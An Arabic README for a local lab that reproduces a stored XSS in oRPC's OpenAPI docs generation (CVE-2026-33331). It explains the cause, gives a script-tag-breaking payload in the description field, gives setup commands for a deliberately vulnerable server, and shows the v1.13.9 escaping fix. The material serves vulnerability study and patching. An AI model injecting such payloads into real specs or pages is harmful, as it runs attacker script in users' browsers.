
مختبر محلي يعيد إنتاج XSS مخزّن في توليد مستندات OpenAPI الخاصة بـ oRPC (CVE-2026-33331)، مع إصدارات قابلة للاستغلال ومُصحّحة للمقارنة وPoC مستقل.
مختبر إثبات مفهوم لثغرة تخزين XSS في توليد توثيق OpenAPI الخاص بـ orpc
يبني oRPC صفحات توثيق API من مواصفة OpenAPI. قبل الإصدار v1.13.9 كان يضع المواصفة مباشرة داخل وسم <script> باستخدام JSON.stringify() دون أي ترميز HTML. أي حقل يتحكم فيه المهاجم، مثل ، يمكنه إغلاق ذلك الوسم مبكرًا وتشغيل سكربت.
info.descriptionيمنحك هذا المستودع مختبرًا محليًا لإعادة إنتاج الثغرة، بالإضافة إلى نسخة مصححة للمقارنة معها.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب) |
| المنتج | middleapi/orpc |
| المتأثر | جميع الإصدارات الأقل من v1.13.9 |
| المصحح | v1.13.9 |
| الاكتشاف | Abhay Kumar (@abhayclasher) |
الكود القابل للاستغلال في packages/openapi/src/plugins/openapi-reference.ts يعرض المواصفة بهذا الشكل:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
ينتج JSON.stringify() JSON صالحًا، لكنه لا يهرب الرمزين < أو >. لا يزال المتصفح يتعامل مع </script> كوسم إغلاق HTML، حتى داخل <script type="application/json">.
حمولة في info.description تؤدي إلى التنفيذ:
"</script><script>alert('XSS')</script>"
يرى المتصفح:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
أول </script> يغلق الكتلة. كل ما بعده يعمل كـ JavaScript مضمّن.
ينطبق هذا عندما يبني تطبيق مواصفات OpenAPI من مدخلات يتحكم فيها المستخدم، وهو بالضبط الحال الذي يتيحه oRPC من خلال تعريفات الموجّه (router).
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
بعد بدء تشغيل الخادم، قم بزيارة هذه العناوين:
| الرابط | الوصف |
|---|---|
http://localhost:3000/docs | صفحة التوثيق القابلة للاستغلال — يتم تنفيذ حمولة XSS عند التحميل |
http://localhost:3000/docs/safe | نفس الصفحة مع تطبيق تصحيح v1.13.9 |
http://localhost:3000/spec.json | مواصفة OpenAPI الخام بصيغة JSON |
ستقوم النسخة القابلة للاستغلال بتشغيل alert() عند تحميل الصفحة، مما يؤكد تنفيذ السكربت. تعرض النسخة المصححة نفس المواصفة الخبيثة بأمان — تظهر الحمولة كنص عادي.
يمكنك أيضًا تشغيل PoC المستقل:
cd poc
node exploit.js
يقوم هذا بتشغيل خادم مصغّر على المنفذ 3000 يوضح نفس الثغرة دون سياق التطبيق الكامل.
1. يتحكم المهاجم في حقل داخل مواصفة OpenAPI (مثل description)
2. يولد oRPC HTML التوثيق باستخدام JSON.stringify(spec)
3. يغلق </script> الموجود في الحمولة وسم <script> مبكرًا
4. ينفذ المتصفح ما يليه كـ JavaScript مضمّن
┌─────────────────────────────────────────────────────┐
│ 1. مواصفة خبيثة مصاغة: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc يدمج المواصفة في HTML: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- وسم │
│ <script>alert('XSS')</script> <-- حمولة │
│ "}} │
│ </script> │
│ │
│ 3. المتصفح ينفذ alert('XSS') │
└─────────────────────────────────────────────────────┘
يقدم الإصدار 1.13.9 دالة escapeJsonForHtml()، التي تستبدل الأحرف الحساسة لـ HTML بترميزات Unicode قبل تضمين JSON في وسم السكربت:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
تعمل ترميزات Unicode لأنها تبقى JSON صالحًا — يعيد JSON.parse() بناء السلسلة الأصلية — لكنها لا تبدو أبدًا كـ HTML لمحلّل المتصفح.
كما نقل التصحيح طريقة قراءة JSON من سمة dataset.config في DOM (التي كانت تتعطل عندما تحتوي القيم على أقواس) إلى تعيين JSON المهرّب مباشرةً إلى متغير مضمّن.
عرض الالتزام الكامل: 4f0efa8
CVE-2026-33331/
├── README.md # هذا الملف
├── docker-compose.yml # إعداد مختبر Docker
├── app/
│ ├── Dockerfile # إعداد بناء الحاوية
│ ├── package.json # تبعيات Node.js
│ └── server.js # عارض التوثيق القابل للاستغلال والمصحح
└── poc/
└── exploit.js # إثبات مفهوم مصغّر مستقل
أُبلغت بواسطة Abhay Kumar. هذا المستودع مخصص للاستخدام التعليمي المحلي فقط. لا تنشر الخادم القابل للاستغلال على شبكة عامة.
لأغراض تعليمية فقط — استخدم في بيئات معزولة